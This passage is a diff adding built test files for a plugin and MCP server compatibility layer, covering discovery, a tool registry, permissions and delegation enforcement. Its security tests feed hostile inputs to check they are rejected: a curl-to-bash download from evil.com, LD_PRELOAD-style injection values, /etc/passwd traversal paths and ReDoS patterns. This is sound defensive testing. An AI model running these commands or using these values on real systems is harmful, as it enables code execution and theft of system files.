,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QACtD,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,sBAAsB,EAAE,GAAG,EAAE;YAC9B,MAAM,CAAC,qBAAqB,CAAC,KAAK,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;QACnD,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,mCAAmC,EAAE,GAAG,EAAE;YAC3C,MAAM,CAAC,qBAAqB,CAAC,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;QAChE,CAAC,CAAC,CAAC;QAEH,EAAE,CAAC,2CAA2C,EAAE,GAAG,EAAE;YACnD,MAAM,CAAC,qBAAqB,CAAC,EAAE,OAAO,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;QAC9D,CAAC,CAAC,CAAC;IACL,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}

13
dist/__tests__/compatibility-security.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,13 @@
/**
* Security Tests for the Compatibility Layer
*
* Tests security fixes for:
* - Command whitelist (arbitrary code execution prevention)
* - Environment variable injection blocking
* - ReDoS vulnerability prevention
* - Path traversal prevention
* - Schema validation
* - Error handling
*/
export {};
//# sourceMappingURL=compatibility-security.test.d.ts.map

1
dist/__tests__/compatibility-security.test.d.ts.map generated vendored Normal file
View File

@@ -0,0 +1 @@
{"version":3,"file":"compatibility-security.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/compatibility-security.test.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG"}

403
dist/__tests__/compatibility-security.test.js generated vendored Normal file
View File

@@ -0,0 +1,403 @@
/**
* Security Tests for the Compatibility Layer
*
* Tests security fixes for:
* - Command whitelist (arbitrary code execution prevention)
* - Environment variable injection blocking
* - ReDoS vulnerability prevention
* - Path traversal prevention
* - Schema validation
* - Error handling
*/
import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest';
import { join } from 'path';
import { mkdirSync, writeFileSync, rmSync, existsSync } from 'fs';
import { tmpdir } from 'os';
// Import functions under test
import { discoverPlugins, discoverMcpServers, } from '../compatibility/discovery.js';
import { registerPluginSafePatterns, clearPermissionCache, } from '../compatibility/permission-adapter.js';
import { McpBridge, McpSecurityError, } from '../compatibility/mcp-bridge.js';
// Test fixtures
const TEST_DIR = join(tmpdir(), 'omc-security-test-' + Date.now());
const TEST_PLUGINS_DIR = join(TEST_DIR, 'plugins');
const TEST_MCP_CONFIG = join(TEST_DIR, 'claude_desktop_config.json');
/**
* Helper to create plugin directory with manifest
*/
function createPlugin(name, manifest) {
const pluginDir = join(TEST_PLUGINS_DIR, name);
mkdirSync(pluginDir, { recursive: true });
writeFileSync(join(pluginDir, 'plugin.json'), JSON.stringify({ name, version: '1.0.0', ...manifest }, null, 2));
return pluginDir;
}
// ============================================================
// Security Test: Command Whitelist
// ============================================================
describe('Security: Command Whitelist', () => {
let bridge;
beforeEach(() => {
bridge = new McpBridge();
});
it('should allow whitelisted commands', () => {
const whitelisted = ['node', 'npx', 'python', 'python3', 'ruby', 'go', 'deno', 'bun', 'uvx', 'uv'];
for (const cmd of whitelisted) {
bridge.registerServer(`test-${cmd}`, {
command: cmd,
args: ['--version'],
});
// Command should be registered (not throw on registration)
expect(bridge['serverConfigs'].has(`test-${cmd}`)).toBe(true);
}
});
it('should reject non-whitelisted commands', async () => {
bridge.registerServer('malicious', {
command: 'bash',
args: ['-c', 'echo pwned'],
});
await expect(bridge.connect('malicious')).rejects.toThrow(McpSecurityError);
await expect(bridge.connect('malicious')).rejects.toThrow(/Command not in whitelist/);
});
it('should reject absolute path bypass attempts', async () => {
bridge.registerServer('bypass-attempt', {
command: '/bin/bash',
args: ['-c', 'id'],
});
await expect(bridge.connect('bypass-attempt')).rejects.toThrow(McpSecurityError);
});
it('should reject commands with path components', async () => {
bridge.registerServer('path-bypass', {
command: './malicious-script',
args: [],
});
await expect(bridge.connect('path-bypass')).rejects.toThrow(McpSecurityError);
});
it('should reject curl/wget commands', async () => {
bridge.registerServer('network-abuse', {
command: 'curl',
args: ['https://evil.com/shell.sh', '|', 'bash'],
});
await expect(bridge.connect('network-abuse')).rejects.toThrow(McpSecurityError);
});
});
// ============================================================
// Security Test: Environment Variable Injection
// ============================================================
describe('Security: Environment Variable Injection', () => {
let bridge;
let emittedWarnings;
beforeEach(() => {
bridge = new McpBridge();
emittedWarnings = [];
bridge.on('security-warning', (data) => emittedWarnings.push(data));
});
const DANGEROUS_ENV_VARS = [
'LD_PRELOAD',
'LD_LIBRARY_PATH',
'DYLD_INSERT_LIBRARIES',
'DYLD_LIBRARY_PATH',
'NODE_OPTIONS',
'PYTHONSTARTUP',
'PYTHONPATH',
'RUBYOPT',
'PERL5OPT',
'BASH_ENV',
];
for (const envVar of DANGEROUS_ENV_VARS) {
it(`should block ${envVar} environment variable`, async () => {
bridge.registerServer('env-inject', {
command: 'node',
args: ['--version'],
env: {
[envVar]: '/tmp/malicious.so',
},
});
// The connect will fail because we can't actually spawn in tests,
// but we can verify the warning was emitted
try {
await bridge.connect('env-inject');
}
catch {
// Expected to fail
}
expect(emittedWarnings.some(w => w.server === 'env-inject' &&
w.message.includes(envVar))).toBe(true);
});
}
it('should allow safe environment variables', async () => {
bridge.registerServer('safe-env', {
command: 'node',
args: ['--version'],
env: {
MY_API_KEY: 'secret',
PORT: '3000',
DEBUG: 'true',
},
});
try {
await bridge.connect('safe-env');
}
catch {
// Connection will fail (no actual server), but no security warning
}
expect(emittedWarnings.filter(w => w.server === 'safe-env')).toHaveLength(0);
});
});
// ============================================================
// Security Test: ReDoS Prevention
// ============================================================
describe('Security: ReDoS Prevention', () => {
beforeEach(() => {
clearPermissionCache();
});
afterEach(() => {
if (existsSync(TEST_DIR)) {
rmSync(TEST_DIR, { recursive: true, force: true });
}
});
// Patterns that safe-regex detects as vulnerable
const REDOS_PATTERNS = [
// Exponential backtracking patterns
'(a+)+$',
'([a-zA-Z]+)*',
'(.*a){100}',
// Nested quantifiers
'(a*)*b',
'(a+)*b',
];
// Note: Some edge case patterns like '(a|a)+' and '(a|aa)+$' are not
// detected by safe-regex. For comprehensive protection, consider
// using RE2 (google/re2) which guarantees O(n) matching.
for (const pattern of REDOS_PATTERNS) {
it(`should reject ReDoS pattern: ${pattern}`, () => {
const consoleSpy = vi.spyOn(console, 'warn').mockImplementation(() => { });
const mockPlugin = {
name: 'redos-plugin',
version: '1.0.0',
path: '/test',
manifest: {
name: 'redos-plugin',
version: '1.0.0',
permissions: [
{
tool: 'test-tool',
scope: 'read',
patterns: [pattern],
},
],
},
loaded: true,
tools: [],
};
registerPluginSafePatterns(mockPlugin);
// Should have warned about unsafe pattern
expect(consoleSpy).toHaveBeenCalledWith(expect.stringContaining('[Security] Skipping unsafe regex pattern'));
consoleSpy.mockRestore();
});
}
it('should allow safe regex patterns', () => {
const consoleSpy = vi.spyOn(console, 'warn').mockImplementation(() => { });
const mockPlugin = {
name: 'safe-plugin',
version: '1.0.0',
path: '/test',
manifest: {
name: 'safe-plugin',
version: '1.0.0',
permissions: [
{
tool: 'test-tool',
scope: 'read',
patterns: [
'^[a-z]+$',
'\\d{4}-\\d{2}-\\d{2}',
'hello|world',
],
},
],
},
loaded: true,
tools: [],
};
registerPluginSafePatterns(mockPlugin);
// Should not have warned
expect(consoleSpy).not.toHaveBeenCalled();
consoleSpy.mockRestore();
});
});
// ============================================================
// Security Test: Path Traversal Prevention
// ============================================================
describe('Security: Path Traversal Prevention', () => {
beforeEach(() => {
mkdirSync(TEST_PLUGINS_DIR, { recursive: true });
});
afterEach(() => {
if (existsSync(TEST_DIR)) {
rmSync(TEST_DIR, { recursive: true, force: true });
}
});
it('should reject skills path with path traversal', () => {
const consoleSpy = vi.spyOn(console, 'warn').mockImplementation(() => { });
const pluginDir = createPlugin('traversal-plugin', {
skills: '../../../etc/passwd',
});
const plugins = discoverPlugins({ pluginPaths: [TEST_PLUGINS_DIR] });
const plugin = plugins.find(p => p.name === 'traversal-plugin');
// Plugin should be loaded but with no tools (path was rejected)
expect(plugin?.tools).toHaveLength(0);
expect(consoleSpy).toHaveBeenCalledWith(expect.stringContaining('[Security] Path traversal detected'));
consoleSpy.mockRestore();
});
it('should reject agents path with path traversal', () => {
const consoleSpy = vi.spyOn(console, 'warn').mockImplementation(() => { });
createPlugin('agents-traversal', {
agents: '../../../../tmp/evil',
});
const plugins = discoverPlugins({ pluginPaths: [TEST_PLUGINS_DIR] });
const plugin = plugins.find(p => p.name === 'agents-traversal');
expect(plugin?.tools).toHaveLength(0);
expect(consoleSpy).toHaveBeenCalledWith(expect.stringContaining('[Security] Path traversal detected'));
consoleSpy.mockRestore();
});
it('should reject array of paths with traversal', () => {
const consoleSpy = vi.spyOn(console, 'warn').mockImplementation(() => { });
createPlugin('array-traversal', {
skills: ['./valid-skills', '../../../etc/shadow'],
});
discoverPlugins({ pluginPaths: [TEST_PLUGINS_DIR] });
expect(consoleSpy).toHaveBeenCalledWith(expect.stringContaining('[Security] Path traversal detected'));
consoleSpy.mockRestore();
});
it('should allow valid relative paths', () => {
const pluginDir = createPlugin('valid-paths', {
skills: './skills',
agents: './agents',
});
// Create actual directories
mkdirSync(join(pluginDir, 'skills'), { recursive: true });
mkdirSync(join(pluginDir, 'agents'), { recursive: true });
const consoleSpy = vi.spyOn(console, 'warn').mockImplementation(() => { });
discoverPlugins({ pluginPaths: [TEST_PLUGINS_DIR] });
// Should not have any path traversal warnings
const traversalWarnings = consoleSpy.mock.calls.filter(call => call[0]?.includes?.('Path traversal'));
expect(traversalWarnings).toHaveLength(0);
consoleSpy.mockRestore();
});
});
// ============================================================
// Security Test: Schema Validation
// ============================================================
describe('Security: Schema Validation', () => {
beforeEach(() => {
mkdirSync(TEST_PLUGINS_DIR, { recursive: true });
});
afterEach(() => {
if (existsSync(TEST_DIR)) {
rmSync(TEST_DIR, { recursive: true, force: true });
}
});
it('should reject plugin manifest with invalid name pattern', () => {
const pluginDir = join(TEST_PLUGINS_DIR, 'invalid-name');
mkdirSync(pluginDir, { recursive: true });
writeFileSync(join(pluginDir, 'plugin.json'), JSON.stringify({
name: '../../../malicious',
version: '1.0.0',
}));
const consoleSpy = vi.spyOn(console, 'warn').mockImplementation(() => { });
const plugins = discoverPlugins({ pluginPaths: [TEST_PLUGINS_DIR] });
const plugin = plugins.find(p => p.path === pluginDir);
// Should not be loaded (validation failed)
expect(plugin?.loaded).toBe(false);
expect(consoleSpy).toHaveBeenCalledWith(expect.stringContaining('[Security] Invalid plugin manifest'));
consoleSpy.mockRestore();
});
it('should reject plugin manifest missing required fields', () => {
const pluginDir = join(TEST_PLUGINS_DIR, 'missing-fields');
mkdirSync(pluginDir, { recursive: true });
writeFileSync(join(pluginDir, 'plugin.json'), JSON.stringify({
description: 'Missing name and version',
}));
const consoleSpy = vi.spyOn(console, 'warn').mockImplementation(() => { });
const plugins = discoverPlugins({ pluginPaths: [TEST_PLUGINS_DIR] });
const plugin = plugins.find(p => p.path === pluginDir);
expect(plugin?.loaded).toBe(false);
consoleSpy.mockRestore();
});
it('should reject MCP config with invalid server config', () => {
writeFileSync(TEST_MCP_CONFIG, JSON.stringify({
mcpServers: {
'invalid-server': {
// Missing required 'command' field
args: ['--help'],
},
},
}));
const consoleSpy = vi.spyOn(console, 'warn').mockImplementation(() => { });
const servers = discoverMcpServers({ mcpConfigPath: TEST_MCP_CONFIG });
// Invalid server should not be included
expect(servers.find(s => s.name === 'invalid-server')).toBeUndefined();
expect(consoleSpy).toHaveBeenCalledWith(expect.stringContaining('[Security] Invalid MCP server config'));
consoleSpy.mockRestore();
});
it('should reject MCP config with excessively long command', () => {
writeFileSync(TEST_MCP_CONFIG, JSON.stringify({
mcpServers: {
'long-command': {
command: 'a'.repeat(600), // Exceeds 500 char limit
},
},
}));
const consoleSpy = vi.spyOn(console, 'warn').mockImplementation(() => { });
const servers = discoverMcpServers({ mcpConfigPath: TEST_MCP_CONFIG });
expect(servers.find(s => s.name === 'long-command')).toBeUndefined();
consoleSpy.mockRestore();
});
it('should accept valid plugin manifest', () => {
createPlugin('valid-plugin', {
description: 'A valid plugin',
namespace: 'my-namespace',
});
const consoleSpy = vi.spyOn(console, 'warn').mockImplementation(() => { });
const plugins = discoverPlugins({ pluginPaths: [TEST_PLUGINS_DIR] });
const plugin = plugins.find(p => p.name === 'valid-plugin');
expect(plugin?.loaded).toBe(true);
// Should not have validation warnings for this plugin
const validationWarnings = consoleSpy.mock.calls.filter(call => call[0]?.includes?.('valid-plugin'));
expect(validationWarnings).toHaveLength(0);
consoleSpy.mockRestore();
});
});
// ============================================================
// Security Test: Error Handling
// ============================================================
describe('Security: Error Handling', () => {
let bridge;
let spawnErrors;
beforeEach(() => {
bridge = new McpBridge();
spawnErrors = [];
bridge.on('spawn-error', (data) => spawnErrors.push(data));
});
it('should have spawn-error event handler registered', () => {
// The bridge should emit spawn-error on child process errors
expect(bridge.listenerCount('spawn-error')).toBe(1);
});
it('should handle connection to non-existent server gracefully', async () => {
await expect(bridge.connect('nonexistent')).rejects.toThrow(/Unknown MCP server/);
});
it('should not leave zombie connections on spawn failure', async () => {
bridge.registerServer('fail-spawn', {
command: 'node',
args: ['--nonexistent-file-that-does-not-exist.js'],
});
try {
await bridge.connect('fail-spawn');
}
catch {
// Expected to fail
}
// Should not have an active connection
expect(bridge.isConnected('fail-spawn')).toBe(false);
});
});
//# sourceMappingURL=compatibility-security.test.js.map

1
dist/__tests__/compatibility-security.test.js.map generated vendored Normal file

File diff suppressed because one or more lines are too long

7
dist/__tests__/compatibility.test.d.ts generated vendored Normal file
View File

@@ -0,0 +1,7 @@
/**
* Tests for the Compatibility Layer
*
* Tests plugin discovery, tool registry, permission adapter, and MCP bridge.
*/
export {};
//# sourceMappingURL=compatibility.test.d.ts.map

1
dist/__tests__/compatibility.test.d.ts.map generated vendored Normal file
View File

@@ -0,0 +1 @@
{"version":3,"file":"compatibility.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/compatibility.test.ts"],"names":[],"mappings":"AAAA;;;;GAIG"}

484
dist/__tests__/compatibility.test.js generated vendored Normal file
View File

@@ -0,0 +1,484 @@
/**
* Tests for the Compatibility Layer
*
* Tests plugin discovery, tool registry, permission adapter, and MCP bridge.
*/
import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest';
import { join } from 'path';
import { mkdirSync, writeFileSync, rmSync, existsSync } from 'fs';
import { tmpdir } from 'os';
// Import functions under test
import { discoverPlugins, discoverMcpServers, discoverAll, } from '../compatibility/discovery.js';
import { ToolRegistry, getRegistry, } from '../compatibility/registry.js';
import { checkPermission, grantPermission, denyPermission, clearPermissionCache, addSafePattern, getSafePatterns, shouldDelegate, getDelegationTarget, } from '../compatibility/permission-adapter.js';
// Test fixtures
const TEST_DIR = join(tmpdir(), 'omc-compat-test-' + Date.now());
const TEST_PLUGINS_DIR = join(TEST_DIR, 'plugins');
const TEST_MCP_CONFIG = join(TEST_DIR, 'claude_desktop_config.json');
const TEST_SETTINGS = join(TEST_DIR, 'settings.json');
/**
* Create a test plugin directory structure
*/
function createTestPlugin(name, manifest) {
const pluginDir = join(TEST_PLUGINS_DIR, name);
const manifestPath = join(pluginDir, 'plugin.json');
mkdirSync(pluginDir, { recursive: true });
const fullManifest = {
name,
version: '1.0.0',
...manifest,
};
writeFileSync(manifestPath, JSON.stringify(fullManifest, null, 2));
// Create skills directory if specified
if (manifest.skills) {
const skillsDir = join(pluginDir, 'skills');
mkdirSync(skillsDir, { recursive: true });
// Create a sample skill
const sampleSkillDir = join(skillsDir, 'sample-skill');
mkdirSync(sampleSkillDir, { recursive: true });
writeFileSync(join(sampleSkillDir, 'SKILL.md'), `---
name: sample-skill
description: A sample skill for testing
---
This is a sample skill.
`);
}
return pluginDir;
}
/**
* Create a test MCP config file
*/
function createTestMcpConfig(servers) {
writeFileSync(TEST_MCP_CONFIG, JSON.stringify({ mcpServers: servers }, null, 2));
}
/**
* Create a test settings file
*/
function createTestSettings(servers) {
writeFileSync(TEST_SETTINGS, JSON.stringify({ mcpServers: servers }, null, 2));
}
// ============================================================
// Discovery Tests
// ============================================================
describe('Discovery System', () => {
beforeEach(() => {
mkdirSync(TEST_PLUGINS_DIR, { recursive: true });
});
afterEach(() => {
if (existsSync(TEST_DIR)) {
rmSync(TEST_DIR, { recursive: true, force: true });
}
});
describe('discoverPlugins', () => {
it('should discover plugins in the configured directory', () => {
createTestPlugin('test-plugin', {
description: 'Test plugin',
skills: './skills/',
});
const plugins = discoverPlugins({ pluginPaths: [TEST_PLUGINS_DIR] });
expect(plugins.length).toBeGreaterThan(0);
const testPlugin = plugins.find(p => p.name === 'test-plugin');
expect(testPlugin).toBeDefined();
expect(testPlugin?.loaded).toBe(true);
expect(testPlugin?.manifest.description).toBe('Test plugin');
});
it('should discover skills from plugins', () => {
createTestPlugin('skill-plugin', {
skills: './skills/',
});
const plugins = discoverPlugins({ pluginPaths: [TEST_PLUGINS_DIR] });
const plugin = plugins.find(p => p.name === 'skill-plugin');
expect(plugin).toBeDefined();
expect(plugin?.tools.length).toBeGreaterThan(0);
const skill = plugin?.tools.find(t => t.name.includes('sample-skill'));
expect(skill).toBeDefined();
expect(skill?.type).toBe('skill');
});
it('should return empty array for non-existent directory', () => {
const plugins = discoverPlugins({ pluginPaths: ['/nonexistent/path'] });
expect(plugins).toHaveLength(0);
});
it('should skip oh-my-claudecode plugin directory', () => {
createTestPlugin('oh-my-claudecode', {
description: 'Should be skipped',
});
const plugins = discoverPlugins({ pluginPaths: [TEST_PLUGINS_DIR] });
const omcPlugin = plugins.find(p => p.name === 'oh-my-claudecode');
expect(omcPlugin).toBeUndefined();
});
});
describe('discoverMcpServers', () => {
it('should discover MCP servers from claude_desktop_config.json', () => {
createTestMcpConfig({
'test-server': {
command: 'npx',
args: ['-y', 'test-server'],
},
});
const servers = discoverMcpServers({ mcpConfigPath: TEST_MCP_CONFIG });
expect(servers).toHaveLength(1);
expect(servers[0].name).toBe('test-server');
expect(servers[0].source).toBe('claude_desktop_config');
});
it('should discover MCP servers from settings.json', () => {
createTestSettings({
'settings-server': {
command: 'node',
args: ['server.js'],
},
});
const servers = discoverMcpServers({ settingsPath: TEST_SETTINGS });
expect(servers).toHaveLength(1);
expect(servers[0].name).toBe('settings-server');
expect(servers[0].source).toBe('settings.json');
});
it('should prioritize settings.json over claude_desktop_config.json', () => {
createTestSettings({
'shared-server': {
command: 'settings-command',
},
});
createTestMcpConfig({
'shared-server': {
command: 'desktop-command',
},
});
const servers = discoverMcpServers({
settingsPath: TEST_SETTINGS,
mcpConfigPath: TEST_MCP_CONFIG,
});
expect(servers).toHaveLength(1);
expect(servers[0].config.command).toBe('settings-command');
});
});
describe('discoverAll', () => {
it('should discover both plugins and MCP servers', () => {
createTestPlugin('combined-plugin', { description: 'Combined test' });
createTestMcpConfig({
'combined-server': { command: 'npx', args: ['server'] },
});
const result = discoverAll({
pluginPaths: [TEST_PLUGINS_DIR],
mcpConfigPath: TEST_MCP_CONFIG,
});
expect(result.plugins.length).toBeGreaterThan(0);
expect(result.mcpServers.length).toBeGreaterThan(0);
expect(result.timestamp).toBeGreaterThan(0);
});
});
});
// ============================================================
// Registry Tests
// ============================================================
describe('Tool Registry', () => {
let registry;
beforeEach(() => {
ToolRegistry.resetInstance();
registry = new ToolRegistry();
});
describe('registerTool', () => {
it('should register a tool', () => {
const tool = {
name: 'test:tool',
type: 'plugin',
source: 'test-plugin',
enabled: true,
};
registry.registerTool(tool);
expect(registry.getTool('test:tool')).toBeDefined();
});
it('should handle tool name conflicts by priority', () => {
const lowPriority = {
name: 'conflict:tool',
type: 'plugin',
source: 'low-priority',
enabled: true,
priority: 10,
};
const highPriority = {
name: 'conflict:tool',
type: 'plugin',
source: 'high-priority',
enabled: true,
priority: 100,
};
registry.registerTool(lowPriority);
registry.registerTool(highPriority);
const tool = registry.getTool('conflict:tool');
expect(tool?.source).toBe('high-priority');
});
it('should track conflicts', () => {
const tool1 = {
name: 'conflict:tool',
type: 'plugin',
source: 'plugin-1',
enabled: true,
};
const tool2 = {
name: 'conflict:tool',
type: 'plugin',
source: 'plugin-2',
enabled: true,
};
registry.registerTool(tool1);
registry.registerTool(tool2);
const conflicts = registry.getConflicts();
expect(conflicts).toHaveLength(1);
expect(conflicts[0].tools).toHaveLength(2);
});
});
describe('getTool', () => {
it('should find tool by exact name', () => {
const tool = {
name: 'exact:match',
type: 'plugin',
source: 'test',
enabled: true,
};
registry.registerTool(tool);
expect(registry.getTool('exact:match')).toBeDefined();
});
it('should find tool by short name', () => {
const tool = {
name: 'namespace:shortname',
type: 'plugin',
source: 'test',
enabled: true,
};
registry.registerTool(tool);
expect(registry.getTool('shortname')).toBeDefined();
});
});
describe('route', () => {
it('should create route for registered tool', () => {
const tool = {
name: 'route:test',
type: 'plugin',
source: 'test-plugin',
enabled: true,
capabilities: ['read'],
};
registry.registerTool(tool);
const route = registry.route('route:test');
expect(route).toBeDefined();
expect(route?.tool.name).toBe('route:test');
expect(route?.requiresPermission).toBe(false);
});
it('should require permission for write/execute tools', () => {
const tool = {
name: 'dangerous:tool',
type: 'plugin',
source: 'test',
enabled: true,
capabilities: ['write', 'execute'],
};
registry.registerTool(tool);
const route = registry.route('dangerous:tool');
expect(route?.requiresPermission).toBe(true);
});
});
describe('getToolsBySource', () => {
it('should filter tools by source', () => {
registry.registerTool({
name: 'source1:tool1',
type: 'plugin',
source: 'source1',
enabled: true,
});
registry.registerTool({
name: 'source1:tool2',
type: 'plugin',
source: 'source1',
enabled: true,
});
registry.registerTool({
name: 'source2:tool1',
type: 'plugin',
source: 'source2',
enabled: true,
});
const tools = registry.getToolsBySource('source1');
expect(tools).toHaveLength(2);
});
});
describe('searchTools', () => {
it('should search tools by keyword', () => {
registry.registerTool({
name: 'search:file-reader',
type: 'plugin',
source: 'test',
description: 'Reads files from disk',
enabled: true,
});
registry.registerTool({
name: 'search:file-writer',
type: 'plugin',
source: 'test',
description: 'Writes files to disk',
enabled: true,
});
const results = registry.searchTools('file');
expect(results).toHaveLength(2);
const readerOnly = registry.searchTools('reader');
expect(readerOnly).toHaveLength(1);
});
});
});
// ============================================================
// Permission Adapter Tests
// ============================================================
describe('Permission Adapter', () => {
beforeEach(() => {
clearPermissionCache();
ToolRegistry.resetInstance();
});
describe('checkPermission', () => {
it('should allow built-in safe MCP tools', () => {
const result = checkPermission('mcp__context7__query-docs');
expect(result.allowed).toBe(true);
});
it('should require permission for write operations', () => {
const result = checkPermission('mcp__filesystem__write_file', { path: '/test' });
expect(result.allowed).toBe(false);
expect(result.askUser).toBe(true);
});
it('should cache permission decisions', () => {
const first = checkPermission('mcp__context7__query-docs');
const second = checkPermission('mcp__context7__query-docs');
expect(first).toEqual(second);
});
});
describe('grantPermission', () => {
it('should cache granted permission', () => {
grantPermission('custom:tool');
const result = checkPermission('custom:tool');
expect(result.allowed).toBe(true);
expect(result.reason).toBe('User granted permission');
});
});
describe('denyPermission', () => {
it('should cache denied permission', () => {
denyPermission('custom:tool');
const result = checkPermission('custom:tool');
expect(result.allowed).toBe(false);
expect(result.reason).toBe('User denied permission');
});
});
describe('addSafePattern', () => {
it('should add custom safe patterns', () => {
addSafePattern({
tool: 'custom:safe-tool',
pattern: /.*/,
description: 'Custom safe tool',
source: 'test',
});
const patterns = getSafePatterns();
const found = patterns.find(p => p.tool === 'custom:safe-tool');
expect(found).toBeDefined();
});
});
describe('shouldDelegate', () => {
it('should delegate plugin tools', () => {
const registry = getRegistry();
registry.registerTool({
name: 'external:tool',
type: 'plugin',
source: 'external-plugin',
enabled: true,
});
expect(shouldDelegate('external:tool')).toBe(true);
});
it('should delegate MCP tools', () => {
const registry = getRegistry();
registry.registerTool({
name: 'mcp:tool',
type: 'mcp',
source: 'mcp-server',
enabled: true,
});
expect(shouldDelegate('mcp:tool')).toBe(true);
});
});
describe('getDelegationTarget', () => {
it('should return plugin target for plugin tools', () => {
const registry = getRegistry();
registry.registerTool({
name: 'plugin:tool',
type: 'plugin',
source: 'my-plugin',
enabled: true,
});
const target = getDelegationTarget('plugin:tool');
expect(target?.type).toBe('plugin');
expect(target?.target).toBe('my-plugin');
});
it('should return mcp target for MCP tools', () => {
const registry = getRegistry();
registry.registerTool({
name: 'mcp:tool',
type: 'mcp',
source: 'my-server',
enabled: true,
});
const target = getDelegationTarget('mcp:tool');
expect(target?.type).toBe('mcp');
expect(target?.target).toBe('my-server');
});
});
});
// ============================================================
// Event Listener Tests
// ============================================================
describe('Registry Events', () => {
let registry;
beforeEach(() => {
ToolRegistry.resetInstance();
registry = new ToolRegistry();
});
it('should emit tool-registered event', () => {
const listener = vi.fn();
registry.addEventListener(listener);
registry.registerTool({
name: 'event:tool',
type: 'plugin',
source: 'test',
enabled: true,
});
expect(listener).toHaveBeenCalledWith(expect.objectContaining({
type: 'tool-registered',
data: expect.objectContaining({ tool: 'event:tool' }),
}));
});
it('should emit tool-conflict event', () => {
const listener = vi.fn();
registry.addEventListener(listener);
registry.registerTool({
name: 'conflict:tool',
type: 'plugin',
source: 'first',
enabled: true,
});
registry.registerTool({
name: 'conflict:tool',
type: 'plugin',
source: 'second',
enabled: true,
});
const conflictEvent = listener.mock.calls.find(call => call[0].type === 'tool-conflict');
expect(conflictEvent).toBeDefined();
});
it('should allow removing event listeners', () => {
const listener = vi.fn();
registry.addEventListener(listener);
registry.removeEventListener(listener);
registry.registerTool({
name: 'removed:tool',
type: 'plugin',
source: 'test',
enabled: true,
});
expect(listener).not.toHaveBeenCalled();
});
});
//# sourceMappingURL=compatibility.test.js.map

1
dist/__tests__/compatibility.test.js.map generated vendored Normal file

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,9 @@
/**
* Comprehensive tests for delegation enforcement hook implementation
*
* Tests: suggestAgentForFile, getEnforcementLevel (via processOrchestratorPreTool),
* processOrchestratorPreTool enforcement levels, AuditEntry interface, and
* processPreToolUse integration in bridge.ts
*/
export {};
//# sourceMappingURL=delegation-enforcement-levels.test.d.ts.map

View File

@@ -0,0 +1 @@
{"version":3,"file":"delegation-enforcement-levels.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/delegation-enforcement-levels.test.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG"}

549
dist/__tests__/delegation-enforcement-levels.test.js generated vendored Normal file
View File

@@ -0,0 +1,549 @@
/**
* Comprehensive tests for delegation enforcement hook implementation
*
* Tests: suggestAgentForFile, getEnforcementLevel (via processOrchestratorPreTool),
* processOrchestratorPreTool enforcement levels, AuditEntry interface, and
* processPreToolUse integration in bridge.ts
*/
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { processOrchestratorPreTool, isAllowedPath, isSourceFile, isWriteEditTool, clearEnforcementCache, } from '../hooks/omc-orchestrator/index.js';
// Mock fs module
vi.mock('fs', async () => {
const actual = await vi.importActual('fs');
return {
...actual,
existsSync: vi.fn(),
readFileSync: vi.fn(),
mkdirSync: vi.fn(),
appendFileSync: vi.fn(),
};
});
// Mock os module
vi.mock('os', async () => {
const actual = await vi.importActual('os');
return {
...actual,
homedir: vi.fn(() => '/mock/home'),
};
});
// Mock boulder-state to avoid side effects
vi.mock('../features/boulder-state/index.js', () => ({
readBoulderState: vi.fn(() => null),
getPlanProgress: vi.fn(() => ({ total: 0, completed: 0, isComplete: true })),
}));
// Mock notepad to avoid side effects
vi.mock('../hooks/notepad/index.js', () => ({
addWorkingMemoryEntry: vi.fn(),
setPriorityContext: vi.fn(),
}));
import { existsSync, readFileSync } from 'fs';
const mockExistsSync = vi.mocked(existsSync);
const mockReadFileSync = vi.mocked(readFileSync);
describe('delegation-enforcement-levels', () => {
beforeEach(() => {
vi.clearAllMocks();
clearEnforcementCache();
// Default: no config files exist
mockExistsSync.mockReturnValue(false);
});
// ─── 1. suggestAgentForFile (tested indirectly via warning messages) ───
describe('suggestAgentForFile via warning messages', () => {
// Helper: trigger a warn-level enforcement on a file and check agent suggestion in message
function getWarningForFile(filename) {
mockExistsSync.mockReturnValue(false); // default warn
const result = processOrchestratorPreTool({
toolName: 'Write',
toolInput: { filePath: `src/${filename}` },
directory: '/tmp/test-project',
});
return result.message;
}
const extensionToAgent = [
['file.ts', 'executor-low (simple) or executor (complex)'],
['file.tsx', 'designer-low (simple) or designer (complex UI)'],
['file.js', 'executor-low'],
['file.jsx', 'designer-low'],
['file.py', 'executor-low (simple) or executor (complex)'],
['file.vue', 'designer'],
['file.svelte', 'designer'],
['file.css', 'designer-low'],
['file.scss', 'designer-low'],
['file.md', 'writer (documentation)'],
['file.json', 'executor-low'],
];
it.each(extensionToAgent)('suggests correct agent for %s', (filename, expectedAgent) => {
const msg = getWarningForFile(filename);
expect(msg).toBeDefined();
expect(msg).toContain(`Suggested agent: ${expectedAgent}`);
});
it('falls back to executor for unknown extension', () => {
const msg = getWarningForFile('file.xyz');
// .xyz is not in WARNED_EXTENSIONS, so isSourceFile returns false
// but it's also not an allowed path, so it still gets warned
// The suggestion should be 'executor' (the fallback)
expect(msg).toBeDefined();
expect(msg).toContain('Suggested agent: executor');
});
it('handles empty path by allowing it (no warning)', () => {
const result = processOrchestratorPreTool({
toolName: 'Write',
toolInput: { filePath: '' },
directory: '/tmp/test-project',
});
// Empty path -> isAllowedPath returns true -> no warning
expect(result.continue).toBe(true);
expect(result.message).toBeUndefined();
});
});
// ─── 2. getEnforcementLevel (via processOrchestratorPreTool behavior) ───
describe('getEnforcementLevel via processOrchestratorPreTool', () => {
const sourceFileInput = {
toolName: 'Write',
toolInput: { filePath: 'src/app.ts' },
